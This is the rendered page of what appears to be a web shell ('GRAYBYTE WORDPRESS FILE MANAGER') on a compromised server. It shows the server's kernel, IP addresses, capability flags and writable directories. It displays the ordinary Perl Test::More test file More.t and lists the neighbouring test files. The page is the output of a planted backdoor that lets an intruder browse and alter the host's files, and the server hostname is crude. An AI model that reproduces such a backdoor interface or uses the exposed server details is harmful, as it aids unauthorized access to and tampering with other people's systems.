✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/doc/perl-Test-Simple/t/Legacy//More.t
#!perl -w

BEGIN {
    if( $ENV{PERL_CORE} ) {
        chdir 't';
        @INC = qw(../lib ../lib/Test/Simple/t/lib);
    }
}

use lib 't/lib';
use Test::More tests => 54;

# Make sure we don't mess with $@ or $!.  Test at bottom.
my $Err   = "this should not be touched";
my $Errno = 42;
$@ = $Err;
$! = $Errno;

use_ok('Dummy');
is( $Dummy::VERSION, '0.01', 'use_ok() loads a module' );
require_ok('Test::More');


ok( 2 eq 2,             'two is two is two is two' );
is(   "foo", "foo",       'foo is foo' );
isnt( "foo", "bar",     'foo isnt bar');
isn't("foo", "bar",     'foo isn\'t bar');

#'#
like("fooble", '/^foo/',    'foo is like fooble');
like("FooBle", '/foo/i',   'foo is like FooBle');
like("/usr/local/pr0n/", '/^\/usr\/local/',   'regexes with slashes in like' );

unlike("fbar", '/^bar/',    'unlike bar');
unlike("FooBle", '/foo/',   'foo is unlike FooBle');
unlike("/var/local/pr0n/", '/^\/usr\/local/','regexes with slashes in unlike' );

my @foo = qw(foo bar baz);
unlike(@foo, '/foo/');

can_ok('Test::More', qw(require_ok use_ok ok is isnt like skip can_ok
                        pass fail eq_array eq_hash eq_set));
can_ok(bless({}, "Test::More"), qw(require_ok use_ok ok is isnt like skip 
                                   can_ok pass fail eq_array eq_hash eq_set));


isa_ok(bless([], "Foo"), "Foo");
isa_ok([], 'ARRAY');
isa_ok(\42, 'SCALAR');
{
    local %Bar::;
    local @Foo::ISA = 'Bar';
    isa_ok( "Foo", "Bar" );
}


# can_ok() & isa_ok should call can() & isa() on the given object, not 
# just class, in case of custom can()
{
       local *Foo::can;
       local *Foo::isa;
       *Foo::can = sub { $_[0]->[0] };
       *Foo::isa = sub { $_[0]->[0] };
       my $foo = bless([0], 'Foo');
       ok( ! $foo->can('bar') );
       ok( ! $foo->isa('bar') );
       $foo->[0] = 1;
       can_ok( $foo, 'blah');
       isa_ok( $foo, 'blah');
}


pass('pass() passed');

ok( eq_array([qw(this that whatever)], [qw(this that whatever)]),
    'eq_array with simple arrays' );
is @Test::More::Data_Stack, 0, '@Data_Stack not holding onto things';

ok( eq_hash({ foo => 42, bar => 23 }, {bar => 23, foo => 42}),
    'eq_hash with simple hashes' );
is @Test::More::Data_Stack, 0;

ok( eq_set([qw(this that whatever)], [qw(that whatever this)]),
    'eq_set with simple sets' );
is @Test::More::Data_Stack, 0;

my @complex_array1 = (
                      [qw(this that whatever)],
                      {foo => 23, bar => 42},
                      "moo",
                      "yarrow",
                      [qw(498 10 29)],
                     );
my @complex_array2 = (
                      [qw(this that whatever)],
                      {foo => 23, bar => 42},
                      "moo",
                      "yarrow",
                      [qw(498 10 29)],
                     );

is_deeply( \@complex_array1, \@complex_array2,    'is_deeply with arrays' );
ok( eq_array(\@complex_array1, \@complex_array2),
    'eq_array with complicated arrays' );
ok( eq_set(\@complex_array1, \@complex_array2),
    'eq_set with complicated arrays' );

my @array1 = (qw(this that whatever),
              {foo => 23, bar => 42} );
my @array2 = (qw(this that whatever),
              {foo => 24, bar => 42} );

ok( !eq_array(\@array1, \@array2),
    'eq_array with slightly different complicated arrays' );
is @Test::More::Data_Stack, 0;

ok( !eq_set(\@array1, \@array2),
    'eq_set with slightly different complicated arrays' );
is @Test::More::Data_Stack, 0;

my %hash1 = ( foo => 23,
              bar => [qw(this that whatever)],
              har => { foo => 24, bar => 42 },
            );
my %hash2 = ( foo => 23,
              bar => [qw(this that whatever)],
              har => { foo => 24, bar => 42 },
            );

is_deeply( \%hash1, \%hash2,    'is_deeply with complicated hashes' );
ok( eq_hash(\%hash1, \%hash2),  'eq_hash with complicated hashes');

%hash1 = ( foo => 23,
           bar => [qw(this that whatever)],
           har => { foo => 24, bar => 42 },
         );
%hash2 = ( foo => 23,
           bar => [qw(this tha whatever)],
           har => { foo => 24, bar => 42 },
         );

ok( !eq_hash(\%hash1, \%hash2),
    'eq_hash with slightly different complicated hashes' );
is @Test::More::Data_Stack, 0;

is( Test::Builder->new, Test::More->builder,    'builder()' );


cmp_ok(42, '==', 42,        'cmp_ok ==');
cmp_ok('foo', 'eq', 'foo',  '       eq');
cmp_ok(42.5, '<', 42.6,     '       <');
cmp_ok(0, '||', 1,          '       ||');


# Piers pointed out sometimes people override isa().
{
    package Wibble;
    sub isa {
        my($self, $class) = @_;
        return 1 if $class eq 'Wibblemeister';
    }
    sub new { bless {} }
}
isa_ok( Wibble->new, 'Wibblemeister' );

my $sub = sub {};
is_deeply( $sub, $sub, 'the same function ref' );

use Symbol;
my $glob = gensym;
is_deeply( $glob, $glob, 'the same glob' );

is_deeply( { foo => $sub, bar => [1, $glob] },
           { foo => $sub, bar => [1, $glob] }
         );


# rt.cpan.org 53469  is_deeply with regexes
is_deeply( qr/a/, qr/a/, "same regex" );


# These two tests must remain at the end.
is( $@, $Err,               '$@ untouched' );
cmp_ok( $!, '==', $Errno,   '$! untouched' );

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
17 Jan 2026 3.14 PM
root / root
0755
Bugs
--
17 Jan 2026 3.14 PM
root / root
0755
Builder
--
17 Jan 2026 3.14 PM
root / root
0755
Regression
--
17 Jan 2026 3.14 PM
root / root
0755
Simple
--
17 Jan 2026 3.14 PM
root / root
0755
Test2
--
17 Jan 2026 3.14 PM
root / root
0755
Tester
--
17 Jan 2026 3.14 PM
root / root
0755
subtest
--
17 Jan 2026 3.14 PM
root / root
0755
00test_harness_check.t
0.746 KB
22 Oct 2020 3.10 AM
root / root
0644
01-basic.t
0.088 KB
22 Oct 2020 3.10 AM
root / root
0644
478-cmp_ok_hash.t
0.901 KB
22 Oct 2020 3.10 AM
root / root
0644
BEGIN_require_ok.t
0.452 KB
22 Oct 2020 3.10 AM
root / root
0644
BEGIN_use_ok.t
0.379 KB
22 Oct 2020 3.10 AM
root / root
0644
More.t
5.096 KB
22 Oct 2020 3.10 AM
root / root
0644
auto.t
0.584 KB
22 Oct 2020 3.10 AM
root / root
0644
bad_plan.t
0.483 KB
22 Oct 2020 3.10 AM
root / root
0644
bail_out.t
0.831 KB
22 Oct 2020 3.10 AM
root / root
0644
buffer.t
0.463 KB
22 Oct 2020 3.10 AM
root / root
0644
c_flag.t
0.447 KB
22 Oct 2020 3.10 AM
root / root
0644
capture.t
0.477 KB
22 Oct 2020 3.10 AM
root / root
0644
check_tests.t
2.38 KB
22 Oct 2020 3.10 AM
root / root
0644
circular_data.t
1.172 KB
22 Oct 2020 3.10 AM
root / root
0644
cmp_ok.t
1.752 KB
22 Oct 2020 3.10 AM
root / root
0644
depth.t
0.374 KB
22 Oct 2020 3.10 AM
root / root
0644
diag.t
1.391 KB
22 Oct 2020 3.10 AM
root / root
0644
died.t
0.868 KB
22 Oct 2020 3.10 AM
root / root
0644
dont_overwrite_die_handler.t
0.503 KB
22 Oct 2020 3.10 AM
root / root
0644
eq_set.t
0.549 KB
22 Oct 2020 3.10 AM
root / root
0644
exit.t
3.166 KB
22 Oct 2020 3.10 AM
root / root
0644
explain.t
0.568 KB
22 Oct 2020 3.10 AM
root / root
0644
explain_err_vars.t
0.119 KB
22 Oct 2020 3.10 AM
root / root
0644
extra.t
1.111 KB
22 Oct 2020 3.10 AM
root / root
0644
extra_one.t
0.889 KB
22 Oct 2020 3.10 AM
root / root
0644
fail-like.t
1.571 KB
22 Oct 2020 3.10 AM
root / root
0644
fail-more.t
10.551 KB
22 Oct 2020 3.10 AM
root / root
0644
fail.t
1.217 KB
22 Oct 2020 3.10 AM
root / root
0644
fail_one.t
0.853 KB
22 Oct 2020 3.10 AM
root / root
0644
filehandles.t
0.283 KB
22 Oct 2020 3.10 AM
root / root
0644
fork.t
0.445 KB
22 Oct 2020 3.10 AM
root / root
0644
harness_active.t
1.427 KB
22 Oct 2020 3.10 AM
root / root
0644
import.t
0.238 KB
22 Oct 2020 3.10 AM
root / root
0644
is_deeply_dne_bug.t
0.866 KB
22 Oct 2020 3.10 AM
root / root
0644
is_deeply_fail.t
11.529 KB
22 Oct 2020 3.10 AM
root / root
0644
is_deeply_with_threads.t
1.368 KB
22 Oct 2020 3.10 AM
root / root
0644
missing.t
1.075 KB
22 Oct 2020 3.10 AM
root / root
0644
new_ok.t
0.688 KB
22 Oct 2020 3.10 AM
root / root
0644
no_log_results.t
0.254 KB
22 Oct 2020 3.10 AM
root / root
0644
no_plan.t
0.82 KB
22 Oct 2020 3.10 AM
root / root
0644
no_tests.t
0.804 KB
22 Oct 2020 3.10 AM
root / root
0644
note.t
0.406 KB
22 Oct 2020 3.10 AM
root / root
0644
overload.t
2.13 KB
22 Oct 2020 3.10 AM
root / root
0644
overload_threads.t
1.15 KB
22 Oct 2020 3.10 AM
root / root
0644
plan.t
0.463 KB
22 Oct 2020 3.10 AM
root / root
0644
plan_bad.t
1.047 KB
22 Oct 2020 3.10 AM
root / root
0644
plan_is_noplan.t
0.395 KB
22 Oct 2020 3.10 AM
root / root
0644
plan_no_plan.t
0.775 KB
22 Oct 2020 3.10 AM
root / root
0644
plan_shouldnt_import.t
0.287 KB
22 Oct 2020 3.10 AM
root / root
0644
plan_skip_all.t
0.186 KB
22 Oct 2020 3.10 AM
root / root
0644
require_ok.t
0.768 KB
22 Oct 2020 3.10 AM
root / root
0644
run_test.t
4.132 KB
22 Oct 2020 3.10 AM
root / root
0644
simple.t
0.195 KB
22 Oct 2020 3.10 AM
root / root
0644
skip.t
1.919 KB
22 Oct 2020 3.10 AM
root / root
0644
skipall.t
0.47 KB
22 Oct 2020 3.10 AM
root / root
0644
strays.t
0.469 KB
22 Oct 2020 3.10 AM
root / root
0644
tbm_doesnt_set_exported_to.t
0.446 KB
22 Oct 2020 3.10 AM
root / root
0644
thread_taint.t
0.119 KB
22 Oct 2020 3.10 AM
root / root
0644
threads.t
0.602 KB
22 Oct 2020 3.10 AM
root / root
0644
todo.t
3.311 KB
22 Oct 2020 3.10 AM
root / root
0644
undef.t
1.954 KB
22 Oct 2020 3.10 AM
root / root
0644
use_ok.t
2.29 KB
22 Oct 2020 3.10 AM
root / root
0644
useing.t
0.356 KB
22 Oct 2020 3.10 AM
root / root
0644
utf8.t
1.487 KB
22 Oct 2020 3.10 AM
root / root
0644
versions.t
0.491 KB
22 Oct 2020 3.10 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF